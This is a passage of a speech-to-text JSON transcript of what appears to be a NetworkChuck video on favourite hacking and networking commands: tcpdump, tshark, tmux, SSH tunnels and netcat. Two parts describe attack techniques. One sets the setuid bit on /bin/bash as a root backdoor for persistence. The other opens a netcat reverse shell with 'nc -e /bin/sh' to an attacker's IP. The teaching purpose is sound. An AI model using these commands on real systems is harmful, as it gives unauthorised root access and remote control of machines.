Here's the thing,", "start": 1047.98, "duration": 3.69 }, { "text": "when you're on the command line\ninteracting with the shell,", "start": 1051.73, "duration": 2.76 }, { "text": "you're actually running this program\ncalled Bash or the born again shell.", "start": 1054.58, "duration": 4.23 }, { "text": "Now that lives on the file\nsystem and slash bin bash.", "start": 1058.96, "duration": 4.32 }, { "text": "So if I were to actually execute this,\nit doesn't look like it does anything,", "start": 1063.52, "duration": 3.99 }, { "text": "I just get the prompt back because I've\njust invoked and I'm running a shell or", "start": 1067.515, "duration": 4.595 }, { "text": "terminal inside my shell so I could\nexit out of that and get back to my", "start": 1072.11, "duration": 4.59 }, { "text": "original prompt.", "start": 1076.7, "duration": 0.9 }, { "text": "But Ben Bash actually takes a\nspecial argument called TAC P", "start": 1077.78, "duration": 4.92 }, { "text": "and that will enforce and\nmaintain set UID permissions,", "start": 1083.03, "duration": 4.56 }, { "text": "which means that the\nowner of the file root,", "start": 1087.68, "duration": 3.36 }, { "text": "in this case the admin absolute controller\nof the computer will be able to keep", "start": 1091.04, "duration": 4.32 }, { "text": "their permissions but it\nhas to be a set UID binary.", "start": 1095.36, "duration": 3.9 }, { "text": "So the way that we could do that\nis to actually change mod or CH", "start": 1099.44, "duration": 4.26 }, { "text": "modifications,", "start": 1103.705, "duration": 0.895 }, { "text": "change modifications on the\nfile and add or plus the", "start": 1104.6, "duration": 4.83 }, { "text": "S letter for set UID.", "start": 1109.43, "duration": 2.01 }, { "text": "We'll put that on Bin Bash and\nthis will require some root", "start": 1111.89, "duration": 4.62 }, { "text": "privileges.", "start": 1116.515, "duration": 0.835 }, { "text": "That means that you need to be the\nadmin to be able to configure this.", "start": 1117.56, "duration": 3.39 }, { "text": "But what that ultimately does is\ncreate a back door or you have", "start": 1121.07, "duration": 4.98 }, { "text": "a persistence mechanism,", "start": 1126.05, "duration": 1.35 }, { "text": "a little bit of a foothold so that at\nany point if we configure this with our", "start": 1127.52, "duration": 4.05 }, { "text": "pseudo password later on down the line,", "start": 1131.57, "duration": 2.58 }, { "text": "you get access to this\nmachine one more time.", "start": 1134.27, "duration": 2.46 }, { "text": "Now you can just run bash tack P and you", "start": 1137.09, "duration": 4.23 }, { "text": "are root, you control the whole\nmachine because you are the admin user.", "start": 1141.95, "duration": 4.41 }, { "text": "You set up that back\ndoor. If you wanted to,", "start": 1146.36, "duration": 2.91 }, { "text": "you could move into the root directory\nand you could do anything that you want.", "start": 1149.33, "duration": 3.57 }, { "text": "Maybe we could echo hello into a", "start": 1153.71, "duration": 4.47 }, { "text": "please subscribe to network Chuck,", "start": 1158.36, "duration": 4.08 }, { "text": "I'll hit enter on that. And now if\nI zoom out, let me show you this.", "start": 1163.46, "duration": 3.54 }, { "text": "LS Tech LA we can see\nour file right there.", "start": 1167.09, "duration": 2.91 }, { "text": "Please subscribe to network Chuck. Hey,", "start": 1170.42, "duration": 2.58 }, { "text": "just owned and controlled by the root\nuser and we were able to configure that", "start": 1173.06, "duration": 4.44 }, { "text": "with our back door. Pseudo\nCH mod plus S bin Bash.", "start": 1177.5, "duration": 4.86 }, { "text": "That is my favorite top hacking\ncommand because then you've got a", "start": 1182.54, "duration": 4.29 }, { "text": "backdoor,", "start": 1186.83, "duration": 0.75 }, { "text": "you've got a persistence mechanism\nand a way to become root at any point.", "start": 1187.58, "duration": 4.35 }, { "text": "I hope you enjoyed a couple of those.\nReally neat Hey top hacking commands.", "start": 1191.96, "duration": 3.51 }, { "text": "But thank you so much network Chuck\nfor letting me join the party here.", "start": 1195.5, "duration": 2.7 }, { "text": "This was an absolute blast.", "start": 1198.35, "duration": 1.59 }, { "text": "Now I'm going to do something bad. I'm\ngoing to do the same command twice. What?", "start": 1200.0, "duration": 3.93 }, { "text": "No, I know. It's okay. We're going\nto talk about TCP dump again. Why?", "start": 1203.935, "duration": 3.235 }, { "text": "Well because there's more cool stuff about\nit and we didn't give it enough time.", "start": 1207.175, "duration": 2.455 }, { "text": "We'll type in TCP dump, we'll type\nin dash W to send it to a file.", "start": 1209.78, "duration": 3.57 }, { "text": "We'll just call it capture dot pcap.", "start": 1213.53, "duration": 1.74 }, { "text": "Then dash I for our interface\nand we'll do ethernet zero.", "start": 1215.66, "duration": 2.73 }, { "text": "That's the one I have now lemme just make\nsure that's the case. IP address, yes,", "start": 1218.45, "duration": 3.66 }, { "text": "ethernet zero and go. And\nwe'll generate some traffic,", "start": 1222.11, "duration": 3.45 }, { "text": "do something fun that we've already\nlearned and map with random addresses.", "start": 1225.86, "duration": 3.15 }, { "text": "Decoys. We'll stop that with CTRL C.", "start": 1229.76, "duration": 2.31 }, { "text": "We can analyze that\ntraffic with this command.", "start": 1232.07, "duration": 1.71 }, { "text": "TCP dump dash r specify our capture\nfile which just capture pcap.", "start": 1234.02, "duration": 4.23 }, { "text": "Let's take a look. Cool.", "start": 1238.55, "duration": 1.05 }, { "text": "We can see we can also limit the amount\nof packets we capture with TCP dump and", "start": 1239.63, "duration": 4.26 }, { "text": "the switch dash C for counts. And\nwe'll say like 100 that did not long.", "start": 1243.895, "duration": 3.575 }, { "text": "Now TCP dump is pretty cool.", "start": 1247.62, "duration": 1.29 }, { "text": "Great for quick captures but the real\ntool you want to use that's crazy powerful", "start": 1249.24, "duration": 3.9 }, { "text": "is thar the command line\nbrother of Wireshark.", "start": 1253.35, "duration": 3.36 }, { "text": "To install thar we'll do a PT\ninstall thar thar can do a lot.", "start": 1257.01, "duration": 4.5 }, { "text": "Let's try a few things. First we'll type\nin thar and we'll capture one packet,", "start": 1261.515, "duration": 3.775 }, { "text": "just one. We'll put it in\nverbose mode with dash capital V,", "start": 1265.5, "duration": 2.97 }, { "text": "we'll do dash C for count.\nWe'll do one and then dash IE,", "start": 1269.01, "duration": 3.035 }, { "text": "the 9 0 1 packet captured. And then\nlook at all the stuff it shows us.", "start": 1272.045, "duration": 3.865 }, { "text": "That is so powerful. Networking geeks\nare just drooling. So yes, I'm drooling.", "start": 1275.97, "duration": 3.78 }, { "text": "Do you want to see something\ncrazier filters. Watch this T-shirt.", "start": 1279.78, "duration": 3.42 }, { "text": "We'll do a dash y to apply a display\nfilter and with this single quote we'll", "start": 1283.59, "duration": 3.57 }, { "text": "specify we'll do http request method", "start": 1287.165, "duration": 4.585 }, { "text": "space equals equals and a double quotes\nget and then close it out with a single", "start": 1292.14, "duration": 3.63 }, { "text": "quote. I know it's kind of wordy but check\nthis out. Let's specify our interface", "start": 1295.77, "duration": 3.12 }, { "text": "get at zero and we're now capturing only\nshowing get request. How cool is that?", "start": 1300.39, "duration": 4.83 }, { "text": "Let's generate some curl\nacademy.network chuck.com.", "start": 1305.58, "duration": 3.81 }, { "text": "There's another one that's so cool.", "start": 1309.96, "duration": 1.89 }, { "text": "Now one of the most powerful ways we\ncan use thar is by analyzing packet", "start": 1312.0, "duration": 2.97 }, { "text": "captures. So let's do a capture real\nquick to a file thar and actually no,", "start": 1314.97, "duration": 4.5 }, { "text": "I'm going to show you one cool thing.", "start": 1319.62, "duration": 1.17 }, { "text": "We'll use a command called timeout and\nput in 15 seconds and it'll time out or", "start": 1321.27, "duration": 4.47 }, { "text": "stop this packet capture in 15\nseconds. That's pretty cool.", "start": 1325.74, "duration": 2.82 }, { "text": "Thar dash I ethernet zero and\nwith a dash w command similar to", "start": 1328.62, "duration": 4.62 }, { "text": "TCP dump. We'll send that to\na file thar dash p app me.", "start": 1333.24, "duration": 3.66 }, { "text": "Try to generate some quick traffic\nand done to display statistics and", "start": 1337.41, "duration": 3.69 }, { "text": "specifically to follow\nendpoint connections.", "start": 1341.1, "duration": 2.1 }, { "text": "Use this command thar dash\nnr, we'll specify our capture,", "start": 1343.32, "duration": 4.2 }, { "text": "which was thar pcap.", "start": 1347.55, "duration": 2.19 }, { "text": "Then we'll use the switches dash\nqz and specify endpoints ip.", "start": 1349.86, "duration": 4.74 }, { "text": "How cool is that?", "start": 1355.38, "duration": 1.95 }, { "text": "We could also follow A TCP stream with\nthar dash RR capture dash qz and we'll", "start": 1357.39, "duration": 4.92 }, { "text": "say follow comma TCP. And\nwe'll put that in ask E.", "start": 1362.315, "duration": 4.495 }, { "text": "So ask E, we'll do comma, we'll follow\nthe seventh stream. That's pretty cool.", "start": 1366.815, "duration": 4.435 }, { "text": "Let's try, I dunno, the first\nstream. First stream's crazy.", "start": 1371.25, "duration": 2.88 }, { "text": "Let's do the 20th stream, the\nhundred stream. So powerful.", "start": 1374.55, "duration": 3.93 }, { "text": "We can also simply do custom output\nof fields based on the capture we're", "start": 1378.69, "duration": 3.45 }, { "text": "reviewing. Check this out thar\ndo a dash e IP source dash e IP", "start": 1382.145, "duration": 4.975 }, { "text": "desk or DST dash e framed protocols.", "start": 1387.36, "duration": 3.33 }, { "text": "Notice we're specifying fields.\nWe'll do a dash T fields,", "start": 1390.81, "duration": 3.48 }, { "text": "which is telling it to only output\nthe fields we're specifying.", "start": 1394.59, "duration": 2.16 }, { "text": "And then finally dash r specifying our\ncapture. How cool is that? So powerful.", "start": 1396.93, "duration": 4.83 }, { "text": "This is my new favorite tool.", "start": 1402.09, "duration": 1.32 }, { "text": "Tux a terminal multiplexer\ninstall tux with APT install tux.", "start": 1403.74, "duration": 4.32 }, { "text": "And then simply type in tm.", "start": 1408.57, "duration": 1.53 }, { "text": "We suddenly have a new terminal\nthat we can do stuff in like ping", "start": 1410.49, "duration": 2.76 }, { "text": "academy.network chuck.com,\nleave that there.", "start": 1413.25, "duration": 2.4 }, { "text": "Hit control B and then D on your\nkeyboard, you're detached from it.", "start": 1415.68, "duration": 3.6 }, { "text": "And then with tux A get right\nback to it. How powerful is that?", "start": 1419.52, "duration": 4.56 }, { "text": "I'll stop type in exit to close that out.", "start": 1424.47, "duration": 2.05 }, { "text": "We can create multiple sessions\nand name them. So team UX,", "start": 1426.61,

"duration": 3.09 }, { "text": "new dash S and name it Bob, here's\nBob. We'll ping something here.", "start": 1429.94, "duration": 4.98 }, { "text": "Detach from that for\nanother session, Susie.", "start": 1435.46, "duration": 3.15 }, { "text": "Now if I type in tux ls,", "start": 1439.24, "duration": 1.44 }, { "text": "I've got two sessions and I can\nreattach to either of them, team ux,", "start": 1440.68, "duration": 3.87 }, { "text": "a dash t to specify my target will\nsay Susie jumping right back in there.", "start": 1445.03, "duration": 4.92 }, { "text": "I can hit control B and then W to\nquickly jump between my various team Uck", "start": 1450.16, "duration": 4.53 }, { "text": "sessions and I can leave,\ngo to another computer,", "start": 1454.69, "duration": 2.67 }, { "text": "jump back in here and connect\nto any one of these sessions.", "start": 1457.51, "duration": 2.64 }, { "text": "If you want to learn more, I did a whole\nvideo on team UX right up here. SSH.", "start": 1460.27, "duration": 3.54 }, { "text": "We use it all the time to remote\ninto our systems. So for example,", "start": 1463.9, "duration": 2.82 }, { "text": "this Ubuntu guy to jump into him,", "start": 1466.72, "duration": 1.44 }, { "text": "I'll use SSH Ss H network\nChuck at his IP address", "start": 1468.19, "duration": 4.53 }, { "text": "already. Cool. But it can do\nmore. Instead of logging in,", "start": 1472.93, "duration": 2.43 }, { "text": "I can actually just run a command via\nSS H on another system with SSH network.", "start": 1475.36, "duration": 4.89 }, { "text": "Chuck at my server. And then right after\nthat specify the command I want to run.", "start": 1480.25, "duration": 4.77 }, { "text": "So in single quotes I can say, who am I?", "start": 1485.35, "duration": 2.01 }, { "text": "BAM or IP address.", "start": 1488.23, "duration": 3.45 }, { "text": "Crazy powerful. Let's get crazier. You\ncan actually make it a SOX proxy. What?", "start": 1492.34, "duration": 4.44 }, { "text": "Watch this. Before I create the tunnel,", "start": 1496.9, "duration": 1.38 }, { "text": "lemme demonstrate my location right now\nwhat's my IP address? I'm in Dallas,", "start": 1498.28, "duration": 3.81 }, { "text": "Texas as you can see right here.\nBut if I use this crazy SSH command,", "start": 1502.09, "duration": 3.36 }, { "text": "I'll create a proxy and tunnel\nmyself somewhere else. SSH dash D,", "start": 1505.54, "duration": 3.96 }, { "text": "which is telling it to create a SOX\nproxy. And I'll say port 1, 3, 3, 7.", "start": 1509.62, "duration": 2.97 }, { "text": "We'll do a dash C for compression dash\nQ for quiet mode and dash N to not", "start": 1513.13, "duration": 4.26 }, { "text": "execute any commands. And finally\nour server information root at,", "start": 1517.39, "duration": 3.48 }, { "text": "and this will be a server in\nJapan. Put our password in.", "start": 1520.87, "duration": 3.36 }, { "text": "Now we're going to launch chromium\nusing that proxy. Our SOX five,", "start": 1525.04, "duration": 3.18 }, { "text": "the local host. Ready, set,\ngo. Chromium's launched.", "start": 1528.31, "duration": 3.24 }, { "text": "Now I'll see where we are already\nfeel a bit different and giving them,", "start": 1531.61, "duration": 3.0 }, { "text": "having a hard time figuring out where\nto go. I'm definitely in Osaka, Japan.", "start": 1534.61, "duration": 3.3 }, { "text": "Super cool, right Netcat our go-to\nfor reverse shells. To install netcat,", "start": 1538.27, "duration": 3.93 }, { "text": "we'll do a PT install\nnetcat dash traditional.", "start": 1542.2, "duration": 4.14 }, { "text": "To verify,", "start": 1547.51, "duration": 0.45 }, { "text": "just type in NC dash H and with Netcat\ninstalled on both your attacking computer", "start": 1547.96, "duration": 4.14 }, { "text": "and your target computer. Let's do\na reverse shell on the attacker.", "start": 1552.1, "duration": 3.51 }, { "text": "All we got to do is wait,", "start": 1555.82, "duration": 0.84 }, { "text": "wait for the shell type in\nNC dash LVP and the port.", "start": 1556.99, "duration": 4.02 }, { "text": "You're waiting on 1 3, 3 7. We're\nwaiting because on a reverse shell,", "start": 1561.01, "duration": 4.2 }, { "text": "the target reaches out to us On the\ntarget side, we'll type in NC for netcat,", "start": 1565.3, "duration": 4.56 }, { "text": "we'll do a dash e and specify the\nshell we want to have access to.", "start": 1569.95, "duration": 2.64 }, { "text": "So we'll do slash ben slash\nsh specify our attacker ip,", "start": 1572.62, "duration": 4.29 }, { "text": "which is us and the port 1, 3, 3, 7 that\nthe attacker is listening on and they", "start": 1577.3, "duration": 4.2 }, { "text": "one hit enter if something happened.\nIt sure stinking did check it out.", "start": 1581.5, "duration": 3.84 }, { "text": "I'm on the other computer.\nI've got a reverse shell.", "start": 1587.2, "duration": 2.25 }, { "text": "They can also do a fun thing where you\njust set a simple chat server with net", "start": 1589.66, "duration": 3.12 }, { "text": "cap. Why? I don't know. But you can\ndo it. You should try it. It's fun.", "start": 1592.78, "duration": 2.94 }, { "text": "On one side you type in NC dash\nLVP, set up port on the other side,", "start": 1595.81, "duration": 4.62 }, { "text": "type in NC dash V,", "start": 1600.7, "duration": 1.56 }, { "text": "the IP address of the other\ncomputer and the port.", "start": 1602.74, "duration": 3.1 }, { "text": "So now I can say hey and I\nget hey, on the other side,", "start": 1606.92, "duration": 2.88 }, { "text": "what are you thinking about\nthe end of this video?", "start": 1610.01, "duration": 4.17 }, { "text": "Me too. I'll catch you guys\nnext time. For real though.", "start": 1615.35, "duration": 4.26 } ]